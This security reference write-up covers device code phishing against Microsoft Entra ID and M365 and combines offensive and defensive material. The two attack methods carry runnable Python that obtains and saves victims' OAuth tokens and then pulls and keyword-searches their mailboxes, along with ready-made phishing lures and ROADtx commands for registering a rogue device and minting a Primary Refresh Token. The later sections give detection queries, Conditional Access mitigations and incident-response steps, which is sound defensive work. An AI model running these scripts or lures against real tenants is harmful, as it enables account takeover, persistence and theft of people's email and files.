MCADDF

[IA-PHISH-001]: Device Code Phishing Attacks

Metadata

Attribute Details
Technique ID IA-PHISH-001
MITRE ATT&CK v18.1 T1566.002 - Phishing: Spearphishing Link
Tactic Initial Access
Platforms Entra ID, M365
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2025-02-13
Affected Versions All Entra ID versions (all Microsoft 365 subscription levels)
Patched In N/A (design-level issue, mitigations via Conditional Access only)
Author SERVTEPArtur Pchelnikau

Note: Section 6 (Atomic Red Team) not included because no standardized Atomic test exists specifically for device code phishing (T1566.002 covers broader spearphishing techniques). All section numbers have been dynamically renumbered based on applicability.


1. EXECUTIVE SUMMARY

Concept: Device code phishing exploits the OAuth 2.0 Device Authorization Grant flow (RFC 8628), a legitimate mechanism designed for devices with limited keyboard input (smart TVs, IoT devices, CLI tools). Attackers initiate a device code flow and trick victims into entering the code on Microsoft’s legitimate sign-in portal (https://microsoft.com/devicelogin), thereby granting the attacker valid authentication tokens without needing the user’s password or triggering multi-factor authentication (MFA). Once tokens are obtained, adversaries can access victim mailboxes, files, and Microsoft Graph API to exfiltrate data or register malicious devices for persistence.

Attack Surface: The attack leverages Microsoft’s legitimate OAuth infrastructure, making detection extraordinarily difficult. No malicious links, attachments, or phishing portals are involved—the victim authenticates against Microsoft’s real authentication servers. Attackers typically deliver phishing messages via Microsoft Teams, WhatsApp, Signal, or internal email, impersonating trusted colleagues, executives, or system administrators.

Business Impact: Critical exposure across the entire M365 tenant. This technique has been validated in production environments and is actively exploited by state-sponsored actors (Storm-2372, attributed to Russian state interests). Initial access can lead to email exfiltration, credential harvesting (usernames, passwords, tokens, admin details found in email), lateral movement to additional accounts via internal messaging, device registration for long-term persistence, and potential compromise of the entire organization if high-privilege accounts are targeted.

Technical Context: Device code phishing campaigns have been active since August 2024, with reported success rates exceeding years of traditional spearphishing efforts combined. The technique bypasses most email security controls (no malicious links, no payloads), defeats MFA in several configurations, and evades Conditional Access policies that fail to explicitly block device code flow. Tokens remain valid for extended periods (hours to days), enabling post-compromise reconnaissance and persistence via Primary Refresh Token (PRT) acquisition through device registration.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.1, 5.2 Lack of MFA enforcement and Conditional Access policy controls enable unauthorized access.
DISA STIG AC-2, AC-3 Inadequate account management and access control implementation.
CISA SCuBA IdM-1, IdM-2 Weak identity governance and access management controls.
NIST 800-53 AC-2, AC-3, AC-6, SI-4 Access enforcement, account management, privilege restrictions, and system monitoring failures.
GDPR Art. 32 Technical and organizational measures for security of processing are insufficient.
DORA Art. 9 Protection and prevention measures for ICT risk management fail to address authentication flow vulnerabilities.
NIS2 Art. 21 Cyber security risk management measures lack multi-factor authentication and access controls.
ISO 27001 A.9.2.3, A.9.4.3 Failures in management of privileged access rights and authentication mechanisms.
ISO 27005 Risk Scenario: “Compromise of User Authentication” Inadequate detection and prevention of unauthorized token acquisition.

2. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools & Environment:


3. ENVIRONMENTAL RECONNAISSANCE

Detection of Device Code Flow Usage in Tenant

Management Portal / PowerShell Reconnaissance:

Defenders can enumerate device code flow usage by querying Entra ID sign-in logs for authentication protocol deviceCode:

# Query Entra ID Sign-In Logs for device code flows
Connect-MgGraph -Scopes "AuditLog.Read.All"

$deviceCodeFlows = Get-MgAuditLogSignIn -Filter "authenticationProtocol eq 'deviceCode'" -Top 50 | `
  Select-Object UserDisplayName, UserPrincipalName, AppDisplayName, IPAddress, CreatedDateTime, Status

$deviceCodeFlows | Format-Table

What to Look For:

PowerShell Command (Azure AD/Entra ID):

# Advanced query using Azure Monitor / Log Analytics
Invoke-AzRestMethod -Uri "https://graph.microsoft.com/v1.0/auditLogs/signIns" `
  -Method GET | ConvertFrom-Json | `
  Where-Object { $_.authenticationProtocol -eq "deviceCode" } | `
  Select-Object userDisplayName, appDisplayName, ipAddress, createdDateTime

Version Note: Entra ID sign-in logs have been consistent since Azure AD era; no breaking changes in reporting between versions.

CLI / Azure CLI Equivalent:

# Query device code flows via Azure CLI (requires CLI v2.50.0+)
az ad signed-in-user show --query "id"

# Note: Detailed sign-in log queries require REST API or Kusto Query Language (KQL) in Sentinel/Log Analytics

4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Device Code Phishing with Graph PowerShell Client ID

Supported Versions: Entra ID all versions; M365 all subscription levels

Step 1: Initiate Device Code Flow (Attacker)

Objective: Generate a valid device code and user code that will be sent to the victim.

Python Script:

import requests
import json

# Attacker's setup - initiate device code flow
client_id = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"  # Microsoft Graph PowerShell (public client)
tenant_id = "organizations"  # Multi-tenant, no specific tenant required

device_code_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode"

# Request device code
payload = {
    "client_id": client_id,
    "scope": "https://graph.microsoft.com/.default offline_access"
}

response = requests.post(device_code_url, data=payload)
device_code_response = response.json()

# Extract key codes
device_code = device_code_response.get("device_code")
user_code = device_code_response.get("user_code")
verification_uri = device_code_response.get("verification_uri")
expires_in = device_code_response.get("expires_in")  # Typically 15 minutes

print(f"[+] Device Code Generated:")
print(f"    User Code: {user_code}")
print(f"    Verification URI: {verification_uri}")
print(f"    Expires In: {expires_in} seconds")
print(f"\n[+] Send user code to victim with phishing message...")

Expected Output:

{
  "device_code": "DAQABAAEAv...",
  "user_code": "G7QJ-P9T3",
  "verification_uri": "https://microsoft.com/devicelogin",
  "expires_in": 900,
  "interval": 5
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Social Engineer Victim to Enter Code

Objective: Deliver the user code to the victim via phishing message and convince them to authenticate.

Phishing Lure Examples (Real-World Storm-2372 Tactics):

========== PHISHING EMAIL 1: Teams Meeting Invite ==========
Subject: You're invited to join "Project Alpha" meeting

Hi Alice,

You've been invited to a Microsoft Teams meeting. To join, please verify your account by entering this code:

G7QJ-P9T3

Go to: https://microsoft.com/devicelogin

This meeting includes sensitive project details, so authentication is required.

Thanks,
Bob (bob@competitor-gov.agency)

========== PHISHING EMAIL 2: Security Verification ==========
Subject: Action Required: Verify Your Account Access

Dear User,

We've detected unusual activity on your account. To restore access, please verify your identity by entering this code on the Microsoft verification portal:

G7QJ-P9T3

Visit: https://microsoft.com/devicelogin

If you don't complete verification within 30 minutes, your account will be locked.

- Microsoft Security Team

========== PHISHING TEAMS MESSAGE ==========
Hey! I found a tool that will help us automate the deployment. 

Here's the code to log in: G7QJ-P9T3

Go to microsoft.com/devicelogin and enter it. Your account will be verified in seconds.

Thanks!

Why This Works:

OpSec & Evasion:

Step 3: Poll for Access Token (Attacker)

Objective: Once victim enters the user code, poll the token endpoint to retrieve the access token.

Python Script (Continued):

import time

# Attacker waits and polls for tokens
token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"

polling_interval = device_code_response.get("interval", 5)  # Poll every 5 seconds
max_attempts = expires_in // polling_interval  # Total polling attempts

for attempt in range(max_attempts):
    print(f"[*] Polling attempt {attempt + 1}/{max_attempts}...")
    
    token_payload = {
        "grant_type": "urn:ietf:params:oauth:grant-type:device_code",
        "device_code": device_code,
        "client_id": client_id
    }
    
    token_response = requests.post(token_url, data=token_payload)
    token_data = token_response.json()
    
    # Check if victim has authenticated
    if "access_token" in token_data:
        access_token = token_data.get("access_token")
        refresh_token = token_data.get("refresh_token")
        id_token = token_data.get("id_token")
        
        print(f"\n[+] SUCCESS! Tokens received:")
        print(f"    Access Token (first 50 chars): {access_token[:50]}...")
        print(f"    Refresh Token: {refresh_token[:50] if refresh_token else 'N/A'}...")
        print(f"    ID Token (User Info): {id_token[:50] if id_token else 'N/A'}...")
        
        # Save tokens for later use
        with open("stolen_tokens.json", "w") as f:
            json.dump(token_data, f)
        
        break
    
    elif "error" in token_data:
        error = token_data.get("error")
        
        if error == "authorization_pending":
            print(f"    [*] Still waiting for victim to authenticate...")
            time.sleep(polling_interval)
        
        elif error == "authorization_declined":
            print(f"    [!] Victim declined the authentication request. Phishing failed.")
            break
        
        elif error == "expired_token":
            print(f"    [!] Device code expired. Phishing attempt timed out.")
            break
        
        else:
            print(f"    [!] Error: {error}")
            break
    
    time.sleep(polling_interval)

Expected Output (On Success):

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I...",
  "refresh_token": "0.ARQAv...",
  "id_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I...",
  "token_type": "Bearer",
  "expires_in": 3599,
  "scope": "https://graph.microsoft.com/.default"
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Access Victim’s Data via Graph API

Objective: Use the stolen access token to exfiltrate sensitive data from victim’s M365 account.

Python Script (Continued):

import requests

# Attacker uses stolen access token to access Graph API
headers = {
    "Authorization": f"Bearer {access_token}",
    "Content-Type": "application/json"
}

# Example 1: Retrieve victim's emails
print("\n[+] Exfiltrating emails from victim's mailbox...")
emails_url = "https://graph.microsoft.com/v1.0/me/messages?$top=100"

emails_response = requests.get(emails_url, headers=headers)
emails = emails_response.json().get("value", [])

for email in emails[:5]:  # Display first 5 emails
    print(f"    From: {email.get('from', {}).get('emailAddress', {}).get('address')}")
    print(f"    Subject: {email.get('subject')}")
    print(f"    Received: {email.get('receivedDateTime')}")
    print()

# Example 2: Search for sensitive keywords in emails (Storm-2372 tactic)
print("[+] Searching for sensitive information in emails...")
search_keywords = ["password", "admin", "credentials", "secret", "teamviewer", "anydesk"]

for keyword in search_keywords:
    search_url = f"https://graph.microsoft.com/v1.0/me/messages?$search=\"{keyword}\""
    search_response = requests.get(search_url, headers=headers)
    matching_emails = search_response.json().get("value", [])
    
    if matching_emails:
        print(f"    [!] Found {len(matching_emails)} emails containing '{keyword}'")
        for email in matching_emails[:2]:
            print(f"        - {email.get('subject')} (from {email.get('from', {}).get('emailAddress', {}).get('address')})")

# Example 3: List user's file shares and OneDrive
print("\n[+] Enumerating user's SharePoint sites...")
sites_url = "https://graph.microsoft.com/v1.0/me/drive"

sites_response = requests.get(sites_url, headers=headers)
user_drive = sites_response.json()

print(f"    OneDrive ID: {user_drive.get('id')}")
print(f"    OneDrive Quota: {user_drive.get('quota', {}).get('total')} bytes")

# Example 4: List Teams user is a member of
print("\n[+] Enumerating user's Teams...")
teams_url = "https://graph.microsoft.com/v1.0/me/joinedTeams"

teams_response = requests.get(teams_url, headers=headers)
teams = teams_response.json().get("value", [])

for team in teams[:5]:
    print(f"    - {team.get('displayName')} (ID: {team.get('id')})")

print("\n[+] Exfiltration complete. Tokens saved to 'stolen_tokens.json'")

Expected Output:

[+] Exfiltrating emails from victim's mailbox...
    From: ceo@company.com
    Subject: Q4 Budget Approval - DO NOT SHARE
    Received: 2025-02-10T14:23:00Z

    From: sysadmin@company.com
    Subject: VPN Credentials - New Policy
    Received: 2025-02-09T09:15:00Z

[+] Searching for sensitive information in emails...
    [!] Found 12 emails containing 'password'
        - IT Password Reset Process (from it-support@company.com)
        - Admin Account Credentials for Azure (from cto@company.com)

[+] Enumerating user's SharePoint sites...
    OneDrive ID: 01FKZXVN7HFPQRZ...
    OneDrive Quota: 1099511627776 bytes

[+] Enumerating user's Teams...
    - Executive Leadership
    - Security & Compliance
    - Engineering

What This Means:

OpSec & Evasion:

References & Proofs:


METHOD 2: Device Code Phishing with Microsoft Authentication Broker for Device Registration & Persistence

Supported Versions: Entra ID all versions; M365 all subscription levels (Windows 10/11 for device simulation)

Overview: This advanced method chains device code phishing with device registration and Primary Refresh Token (PRT) acquisition, enabling long-term persistence and Conditional Access bypass.

Step 1: Initiate Device Code Flow Targeting Device Registration Service

Objective: Generate a device code that, once authenticated, will allow device registration and PRT acquisition.

Python Script:

import requests
import json

# Attacker targets Device Registration Service (DRS) instead of Graph API
client_id = "29d9ed98-a469-4536-ade2-f981bc1d605e"  # Microsoft Authentication Broker (first-party, trusted)
tenant_id = "organizations"

device_code_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode"

# Request device code with DRS resource target
payload = {
    "client_id": client_id,
    "scope": "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile",  # DRS scopes
    "response_type": "code"
}

response = requests.post(device_code_url, data=payload)
device_code_response = response.json()

user_code = device_code_response.get("user_code")
device_code = device_code_response.get("device_code")

print(f"[+] Device Code Generated for DRS Registration:")
print(f"    User Code: {user_code}")
print(f"    Device Code: {device_code}")
print(f"\n[+] Send user code to victim with DRS-targeted phishing message...")

Phishing Lure (DRS-Specific):

Subject: Microsoft Account Security Update - Device Registration Required

Hi Alice,

Your Microsoft account requires device registration to maintain compliance with our organization's policies. 

Please verify your device by entering this code:

G7QJ-P9T3

Visit: https://microsoft.com/devicelogin

This will register your device and enable seamless access to organizational resources.

- Microsoft IT Security

Step 2: Poll for Tokens (Including Refresh Token)

Objective: Retrieve access token, refresh token, and ID token for DRS interaction.

Python Script:

# Poll for tokens (similar to METHOD 1, Step 3)
# Key difference: response will include refresh_token and adrs_access scope

token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"

token_payload = {
    "grant_type": "urn:ietf:params:oauth:grant-type:device_code",
    "device_code": device_code,
    "client_id": client_id
}

token_response = requests.post(token_url, data=token_payload)
token_data = token_response.json()

access_token = token_data.get("access_token")
refresh_token = token_data.get("refresh_token")
id_token = token_data.get("id_token")

print(f"[+] Tokens received:")
print(f"    Scope: adrs_access (Device Registration Service)")
print(f"    Refresh Token: {refresh_token[:50]}...")

# Save for ROADtx device registration
with open(".roadtool_auth", "w") as f:
    json.dump({
        "access_token": access_token,
        "refresh_token": refresh_token,
        "id_token": id_token,
        "token_type": "Bearer",
        "_clientId": client_id
    }, f)

print(f"[+] Tokens saved to .roadtool_auth for ROADtx device registration")

Step 3: Register Malicious Device Using ROADtx (Open-Source Tool)

Objective: Use the tokens to register a fake hybrid-joined device in Entra ID.

Commands:

# Install ROADtx (https://github.com/dirkjanm/ROADtools)
pip install roadtools

# Initialize ROADtx with saved tokens
roadtx auth load -j .roadtool_auth

# Create a virtual Windows device (no physical hardware needed)
roadtx device create --os-version "10.0.19041.928" --device-name "DESKTOP-MALICIOUS"

# The response will include:
# - Device ID
# - Device certificate and private key (in PEM format)
# - Device enrollment status

roadtx device list

Expected Output:

[+] Device registered successfully
    Device ID: 12345678-1234-1234-1234-123456789012
    Device Name: DESKTOP-MALICIOUS
    OS Version: Windows 10 (10.0.19041.928)
    Trust Type: Hybrid Azure AD joined
    Compliance Status: Not compliant (expected)
    Owner: alice@company.com (victim)

Step 4: Mint Primary Refresh Token (PRT)

Objective: Exchange the refresh token for a PRT, which grants long-lived, device-bound authentication.

Commands:

# Exchange refresh token for PRT
roadtx prt request --device-id "12345678-1234-1234-1234-123456789012"

# Response includes:
# - PRT (Primary Refresh Token)
# - PRT+R (PRT refresh token)
# - Device key (cryptographic credential)

What This Means:

Step 5: Use PRT for Ongoing Attacks

Objective: Leverage PRT to access victim’s data and maintain persistence.

Example: Access Teams Files with PRT

# Authenticate as victim using PRT
roadtx prtauth --prt-cookie "<PRT_VALUE>" --client "Teams" --resource "https://graph.microsoft.com"

# Response includes new access token valid for Graph API

# Use access token to enumerate teams and exfiltrate files
curl -H "Authorization: Bearer <ACCESS_TOKEN>" \
  "https://graph.microsoft.com/v1.0/teams?$expand=channels(\$expand=messages)" | jq

Forensic Evidence of PRT Usage:


5. TOOLS & COMMANDS REFERENCE

Microsoft Graph PowerShell SDK

Version: 2.0+
Client ID: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
Supported Platforms: Windows PowerShell 5.0+, PowerShell 7.0+

Installation:

Install-Module Microsoft.Graph -Scope CurrentUser

Usage (Legitimate):

Connect-MgGraph -Scopes "User.Read" -DeviceCode
# Attacker uses the generated device code to phish victim

ROADtx - ROADTools Device Registration Tool

Version: 0.3.0+
Supported Platforms: Linux, Windows, macOS
Dependencies: Python 3.7+, requests, pycryptodomex

Installation:

git clone https://github.com/dirkjanm/ROADtools.git
cd ROADtools
pip install -r requirements.txt

Usage (Post-Device Code Phishing):

# Load phished tokens
roadtx auth load -j .roadtool_auth

# Register virtual device
roadtx device create --os-version "10.0.19041.928"

# Mint PRT
roadtx prt request

# Authenticate using PRT
roadtx prtauth --client "Teams"

References:


6. MICROSOFT SENTINEL DETECTION

Query 1: Device Code Authentication Flows with Suspicious Properties

Rule Configuration:

KQL Query:

SignInLogs
| where authenticationProtocol == "deviceCode"
| where resultDescription != "Success"  // Initially failed attempts may indicate phishing
| summarize 
    FailureCount = dcount(TimeGenerated),
    SuccessCount = dcountif(ResultSignInStatus, ResultSignInStatus == "0"),
    UniqueApps = dcount(AppDisplayName),
    UniqueIPs = dcount(IPAddress),
    FirstAttempt = min(TimeGenerated),
    LastAttempt = max(TimeGenerated)
    by UserPrincipalName, IPAddress
| where FailureCount > 2 or (SuccessCount > 0 and UniqueIPs > 1)
| project TimeGenerated = LastAttempt, UserPrincipalName, IPAddress, FailureCount, UniqueApps, UniqueIPs

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft SentinelAnalytics
  2. Click + CreateScheduled query rule
  3. Name: Suspicious Device Code Authentication Flow
  4. Severity: High
  5. Frequency: Every 5 minutes
  6. Paste the KQL query above
  7. Configure incident settings (e.g., “Create incidents from alerts triggered by this analytics rule”)
  8. Click Review + create

Query 2: Device Code Flow Followed by Rapid Graph API Access

KQL Query:

let deviceCodeAuth = SignInLogs
| where authenticationProtocol == "deviceCode"
| where ResultSignInStatus == "0"
| project TimeGenerated, UserPrincipalName, IPAddress, SessionId = CorrelationId, AppDisplayName;

let graphAccess = SignInLogs
| where AppDisplayName == "Microsoft Graph" or ResourceDisplayName == "Microsoft Graph"
| where ResultSignInStatus == "0"
| project TimeGenerated, UserPrincipalName, IPAddress, SessionId = CorrelationId, AppDisplayName;

deviceCodeAuth
| join kind=inner graphAccess on UserPrincipalName, SessionId
| where TimeGenerated1 < TimeGenerated and (TimeGenerated - TimeGenerated1) between (0s .. 5m)
| project 
    TimeGenerated,
    UserPrincipalName,
    DeviceCodeTime = TimeGenerated1,
    GraphAccessTime = TimeGenerated,
    TimeDiff = (TimeGenerated - TimeGenerated1),
    IPAddress
| where TimeDiff < 1m  // Suspicious if Graph access happens immediately after device code auth

What This Detects:


7. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation) — Limited Relevance

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Enable: Audit Process CreationSuccess and Failure
  4. Run gpupdate /force

Note: Device code phishing attacks primarily manifest in cloud logs (Entra ID Sign-In Logs, Unified Audit Log) rather than Windows event logs, since authentication occurs at Microsoft infrastructure, not locally.


8. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: OAuth Device Code Flow and Graph API Access

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing and wait 24 hours for activation

PowerShell Query:

Connect-ExchangeOnline

# Search for device code flows and subsequent Graph API access
Search-UnifiedAuditLog `
  -StartDate (Get-Date).AddDays(-7) `
  -EndDate (Get-Date) `
  -Operations "Consent to application", "Add OAuth2PermissionGrant", "Add service principal" `
  -ResultSize 1000 | `
  Where-Object { $_.AuditData -like "*device*" } | `
  Export-Csv -Path "C:\Audit\device_code_phishing.csv"

What to Look For:


9. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1. Block Device Code Flow with Conditional Access Policy

This is the primary mitigation recommended by Microsoft. Device code flow is high-risk and rarely needed in modern organizations.

Manual Steps (Azure Portal):

  1. Navigate to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Block Device Code Flow
  4. Assignments:
    • Users: All users
    • Exclude: Break-glass/emergency access accounts only
  5. Target resources:
    • Resources: All resources (or specific apps if device code is legitimately needed)
  6. Conditions:
    • Click ConditionsAuthentication flowsConfigure: Yes
    • Select Device code flow
  7. Access controls:
    • Grant: Select Block access
  8. Enable policy: Start in Report-only mode first to assess impact
  9. Click Create

Verify Blocking:

# Attempt to use device code flow (will fail with blocked policy)
Connect-MgGraph -Scopes "User.Read" -DeviceCode

# Expected error: "AADSTS53000: Device is not in required device state"

Manual Steps (PowerShell):

Connect-MgGraph -Scopes "Identity.ConditionalAccess.Read.All"

# Create Conditional Access policy to block device code
$params = @{
    displayName = "Block Device Code Flow"
    state = "enabledForReportingButNotEnforced"  # Start in report-only
    conditions = @{
        users = @{
            includeUsers = @("All")
        }
        applications = @{
            includeApplications = @("All")
        }
        authenticationFlows = @{
            includeAuthenticationFlows = @("deviceCodeFlow")
        }
    }
    grantControls = @{
        operator = "OR"
        builtInControls = @("block")
    }
}

New-MgIdentityConditionalAccessPolicy -BodyParameter $params

Pros:

Cons:


2. Require Multi-Factor Authentication (MFA) for All Users

MFA does NOT fully prevent device code phishing (victims will still enter MFA codes), but combined with other controls, it raises the bar.

Manual Steps (Azure Portal):

  1. Navigate to Entra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Require MFA for All Users
  4. Assignments: All users
  5. Target resources: All cloud apps
  6. Access controls:
    • Grant: Require multi-factor authentication
  7. Click Create (enable immediately; this is a standard control)

Manual Steps (PowerShell):

$params = @{
    displayName = "Require MFA for All Users"
    state = "enabled"
    conditions = @{
        users = @{ includeUsers = @("All") }
        applications = @{ includeApplications = @("All") }
    }
    grantControls = @{
        operator = "OR"
        builtInControls = @("mfa")
    }
}

New-MgIdentityConditionalAccessPolicy -BodyParameter $params

Priority 2: HIGH

3. Enforce Compliance Device Requirements

Many device code phishing attacks target unmanaged or non-compliant devices. Requiring device compliance can mitigate some variants.

Manual Steps (Azure Portal):

  1. Navigate to Entra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Require Compliant Device
  4. Assignments: All users
  5. Target resources: Sensitive apps (Exchange, Teams, SharePoint)
  6. Conditions:
    • Device state: Mark device as compliant (Intune requirement)
  7. Access controls:
    • Grant: Require device to be marked as compliant
  8. Click Create

Note: Attacker can still register a virtual device via ROADtx and claim compliance; therefore, this control should be combined with device registration auditing (Mitigation #6 below).


4. Monitor and Audit Device Registrations

Detect suspicious device registration patterns that indicate ROADtx abuse.

PowerShell Command:

Connect-MgGraph -Scopes "AuditLog.Read.All"

# Find newly registered devices
Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Add device'" -Top 100 | `
  Select-Object CreatedDateTime, InitiatedByAppId, TargetResources | `
  Where-Object { $_.CreatedDateTime -gt (Get-Date).AddDays(-7) } | `
  Export-Csv -Path "C:\Audit\new_devices.csv"

What to Look For:


5. Enable Sign-In Risk Policies

Microsoft Entra ID Protection can detect risky sign-in patterns (impossible travel, atypical locations, etc.).

Manual Steps (Azure Portal):

  1. Navigate to Entra IDSecurityIdentity ProtectionSign-in risk policy
  2. Name: Sign-in Risk Policy
  3. Assignments: All users
  4. Risk level:
    • Low and above: Block OR Require MFA
    • Medium and above: Block OR Require MFA
    • High: Block
  5. Click Create

6. Review Registered Applications and Permissions

Audit which applications have been granted permission to access Graph API and other sensitive resources.

PowerShell Command:

Connect-MgGraph -Scopes "Application.Read.All"

# List all OAuth2 permission grants
Get-MgOauth2PermissionGrant -All | `
  Select-Object ClientAppDisplayName, PrincipalDisplayName, Scope | `
  Where-Object { $_.Scope -like "*Mail.Read*" -or $_.Scope -like "*offline_access*" } | `
  Export-Csv -Path "C:\Audit\risky_permissions.csv"

# Review and remove suspicious grants
Remove-MgOauth2PermissionGrant -OAuth2PermissionGrantId "<GRANT_ID>"

10. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Azure/Entra ID IOCs:

Phishing Indicators:

Forensic Artifacts

Cloud/Azure:

On-Premises (If Hybrid):

Response Procedures

Immediate Actions (0-15 minutes):

  1. Revoke User Sessions:
# Revoke all refresh tokens and active sessions for compromised user
Connect-MgGraph -Scopes "UserAuthenticationMethod.ReadWrite.All"

# Force re-authentication
Revoke-MgUserSignInSession -UserId "alice@company.com"
  1. Reset User Password:
# Force password reset on next sign-in
Update-MgUser -UserId "alice@company.com" -ForceChangePasswordNextSignIn $true
  1. Revoke OAuth Permissions:
# Remove all OAuth2 permission grants for the compromised user
Get-MgOauth2PermissionGrant -All | `
  Where-Object { $_.PrincipalDisplayName -eq "alice@company.com" } | `
  ForEach-Object { Remove-MgOauth2PermissionGrant -OAuth2PermissionGrantId $_.Id }
  1. Disable Compromised Device (if registered via ROADtx):
# Find and disable the malicious device
$maliciousDevice = Get-MgDevice -Filter "displayName eq 'DESKTOP-MALICIOUS'"

if ($maliciousDevice) {
    Update-MgDevice -DeviceId $maliciousDevice.Id -AccountEnabled $false
}

Containment (15-60 minutes):

  1. Investigate Exfiltrated Data:
# Check what was accessed via Graph API
Search-UnifiedAuditLog -StartDate (Get-Date).AddHours(-4) `
  -UserIds "alice@company.com" `
  -Operations "Get user mail items", "Get OneDrive items", "Get Teams" | `
  Export-Csv -Path "C:\Audit\exfiltration_activity.csv"
  1. Monitor for Lateral Movement:
# Search for phishing emails sent from compromised account to other users
Get-TransportRule | Where-Object { $_.Name -like "*Device Code*" }

# Review sent items folder for suspicious emails
Search-UnifiedAuditLog -UserIds "alice@company.com" -Operations "Send"
  1. Revoke Suspicious Device:
# Disable the registered device to prevent further PRT usage
$device = Get-MgDevice -Filter "displayName eq 'DESKTOP-MALICIOUS'" -ErrorAction SilentlyContinue

if ($device) {
    Update-MgDevice -DeviceId $device.Id -AccountEnabled $false
    Write-Host "[+] Malicious device disabled: $($device.Id)"
}

Recovery (1-24 hours):

  1. Analyze and Patch:
  1. Communicate with Users:
Subject: Account Security Incident - Action Required

We detected suspicious activity on your account (device code phishing attack). 

Your account has been secured:
✓ All sessions revoked
✓ Password reset required on next sign-in
✓ OAuth permissions reviewed

No action required from you at this time. If you notice any unusual activity, contact IT immediately.

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing — attacker tricks user into entering device code
2 Credential Access T1110.004 (Brute Force - Credential Stuffing) or T1056.004 (Keylogging) Attacker searches emails for passwords, credentials, admin details
3 Persistence IA-PHISH-002 / OAuth App Registration Attacker registers malicious OAuth app with broad permissions OR uses device registration + PRT
4 Defense Evasion T1562.008 (Disable or Modify Cloud Logs) If attacker gains admin access, they delete/modify sign-in logs to cover tracks
5 Lateral Movement IA-PHISH-005 (Internal Spearphishing) Attacker uses compromised account to send device code phishing to other users
6 Impact T1537 (Transfer Data to Cloud Account) Attacker exfiltrates sensitive files, emails, and collaboration data

12. REAL-WORLD EXAMPLES

Example 1: Storm-2372 Campaign (Feb 2025)

Attribution: Russian state-backed threat group (assessed as aligning with Russian government interests)

Target: Government agencies, NGOs, IT services providers, defense contractors, telecommunications, health, education, energy sectors across Europe, North America, Africa, Middle East

Timeline: Active since August 2024, ongoing as of February 2025

Attack Methodology:

  1. Reconnaissance: Identify target organizations and key personnel via LinkedIn, public databases.
  2. Social Engineering: Contact targets via Teams, WhatsApp, or Signal, impersonating executives or colleagues.
  3. Phishing: Send message with device code and link to microsoft.com/devicelogin: “You’re invited to a meeting, enter this code: G7QJ-P9T3”
  4. Token Theft: Once victim enters code, attacker polls for tokens and gains access to mailbox.
  5. Exfiltration: Search emails for keywords (password, admin, credentials, secret, teamviewer, anydesk).
  6. Lateral Movement: Send internal phishing emails from victim’s account to other users with device code requests.
  7. Persistence (Updated Feb 14, 2025): Switch to Microsoft Authentication Broker client ID to register device, acquire PRT, and maintain long-term access.

Detected by:

Impact:

References:


Example 2: Proofpoint Tracking (Jan-Feb 2025)

Threat Actors: Multiple state-aligned groups (Russia-aligned dominant, suspected China-aligned also active)

Target: Espionage campaigns against government, defense, technology sectors

Technique Variant: Attackers using residential proxies geographically aligned with target regions to further evade detection

Indicators: High volume of device code flow usage from unexpected geolocations; emails with urgency and executive impersonation

References:


13. APPENDIX: Device Code Flow Architecture (Reference)

┌─────────────────────────────────────────────────────────────────────┐
│                    DEVICE CODE FLOW (RFC 8628)                      │
└─────────────────────────────────────────────────────────────────────┘

ATTACKER'S DEVICE               VICTIM'S BROWSER                  MICROSOFT ENTRA ID
   (Linux)                        (Chrome)                          (Cloud)
      │                              │                                  │
      │                              │                                  │
      ├──────────────────────────────────────────────────────────────>│
      │ (1) POST /devicecode                                           │
      │     client_id=<PUBLIC_ID>                                      │
      │     scope=https://graph.microsoft.com/.default                │
      │                                                                │
      │<──────────────────────────────────────────────────────────────┤
      │ (2) Response: device_code, user_code, verification_uri        │
      │                                                                │
      ├─────────────────────────────────────────────────────────────> │
      │ (3) [PHISHING EMAIL]                                          │
      │ "Enter code G7QJ-P9T3 on https://microsoft.com/devicelogin"  │
      │                                                                │
      │                              ├───────────────────────────────>│
      │                              │ (4) Open browser, navigate to  │
      │                              │ microsoft.com/devicelogin      │
      │                              │                                │
      │                              │<───────────────────────────────┤
      │                              │ (5) Enter user_code (G7QJ-P9T3)│
      │                              │                                │
      │                              ├───────────────────────────────>│
      │                              │ (6) Entra ID validates code    │
      │                              │ Shows: "Do you want to sign in?" 
      │                              │                                │
      │                              │ (7) Victim clicks "Yes" and    │
      │                              │ authenticates (password + MFA) │
      │                              │                                │
      │<──────────────────────────────────────────────────────────────┤
      │ (8) device_code becomes valid; polling returns tokens         │
      │                                                                │
      ├──────────────────────────────────────────────────────────────>│
      │ (9) POST /token (polling)                                     │
      │     grant_type=device_code                                    │
      │     device_code=<SECRET>                                      │
      │                                                                │
      │<──────────────────────────────────────────────────────────────┤
